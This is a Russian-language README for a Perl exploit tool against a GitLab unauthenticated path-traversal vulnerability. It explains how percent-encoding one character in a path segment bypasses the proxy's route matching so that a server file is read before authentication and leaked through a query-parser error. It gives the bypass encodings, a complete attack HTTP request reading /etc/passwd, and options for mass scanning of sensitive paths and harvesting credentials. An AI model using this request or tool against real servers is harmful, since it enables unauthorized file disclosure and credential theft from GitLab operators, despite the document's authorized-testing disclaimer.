gabrielunknown/cve-2026-85706Perl PoC, эксплуатирующий CVE-2026-85706 — неаутентифицированный обход пути в GitLab, позволяющий произвольное чтение файлов, с массовым сканированием и сбором учётных данных.
Только для авторизованного тестирования на проникновение и операций Red Team.
Несанкционированное использование является уголовным преступлением. См. Правовое уведомление.
CVE-2026-85706 — это уязвимость обхода пути с оценкой CVSS 10.0 в GitLab Community и Enterprise Editions, которая позволяет полностью неаутентифицированному атакующему прочитать произвольные файлы из файловой системы сервера с помощью одного HTTP-запроса. Не требуются ни учётные данные, ни токен, ни взаимодействие с пользователем.
| Ветка | Уязвимый диапазон | Исправлено в |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
HTTP-стек GitLab состоит из трёх уровней:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse действует как умный обратный прокси: для некоторых «загрузочных» эндпоинтов (коммиты в репозиторий, файловые операции) он читает тела multipart-запросов, сохраняет данные файлов на диск и переписывает запрос перед перенаправлением в Puma. Ключевой момент: он прикрепляет JWT-заголовок (Gitlab-Workhorse-Api-Request) к каждому проксируемому запросу. Затем Rails валидирует этот JWT (через require_gitlab_workhorse!) перед выполнением любой логики обработчика.
Уровень 1 — сопоставление маршрутов Workhorse:
Workhorse сопоставляет пути запросов с помощью скомпилированного регулярного выражения, которое работает с сырой строкой байтов в процентном кодировании. Он НЕ декодирует последовательности %XX перед сопоставлением.
Уровень 2 — маршрутизация Puma/Rack:
Puma декодирует последовательности %XX до того, как Grape маршрутизирует запрос. Поэтому запрос к /repository/%63ommits декодируется в /repository/commits и направляется в CommitsController.
Уровень 3 — чтение файла до аутентификации:
Попав в обработчик Rails (который достигается без JWT Workhorse, поскольку Workhorse так и не сопоставил запрос), обработчик читает params[:file][:path] из строки запроса и вызывает:
File.open(params[:file][:path]) # ← happens BEFORE authentication
Процентно кодируя один символ в статическом сегменте пути, запрос атакующего проскальзывает мимо Workhorse незамеченным:
| Сегмент | Оригинал | Форма обхода | Кодируемый символ |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (любой) | commits | commits/ | завершающий слэш |
| (любой) | commits | commits.json | суффикс Grape |
После открытия файла его содержимое эксфильтрируется через парсер строки запроса Rack:
Rack::Utils.parse_nested_query(File.read(path))
Если файл содержит %, за которым не следуют две допустимые шестнадцатеричные цифры (что часто встречается в конфигурационных файлах Ruby, CI YAML, логах и т. д.), Rack выдаёт ошибку:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Этот 400-байтовый ответ содержит необработанное содержимое файла вплоть до проблемного байта включительно — раскрывая содержимое файла неаутентифицированному вызывающему.
Файлы без эксплуатируемых последовательностей % (например, чистый /etc/passwd) возвращают 401 или ошибку валидации параметров после чтения: это действует как оракул существования файла (чтение всё равно произошло до аутентификации).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Техника | ID | Реализация в этом PoC |
|---|---|---|
| File and Directory Discovery | T1083 | Режим --scan проверяет 38 конфиденциальных путей сервера |
| Credentials In Files | T1552.001 | --harvest извлекает ключи/токены/пароли из утёкшего содержимого |
| Модуль | Пакет | Роль |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP-клиент (обязательно) |
LWP::Protocol::https | libwww-perl | Поддержка HTTPS (обязательно) |
URI::Escape | liburi-perl | Кодирование строки запроса (обязательно) |
Term::ANSIColor | libterm-ansicolor-perl | Цветной вывод (опционально) |
JSON | libjson-perl | Режим вывода JSON (опционально) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string